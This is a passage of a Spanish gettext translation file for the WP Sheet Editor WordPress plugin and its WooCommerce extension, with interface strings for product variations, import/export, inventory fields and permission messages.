descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" 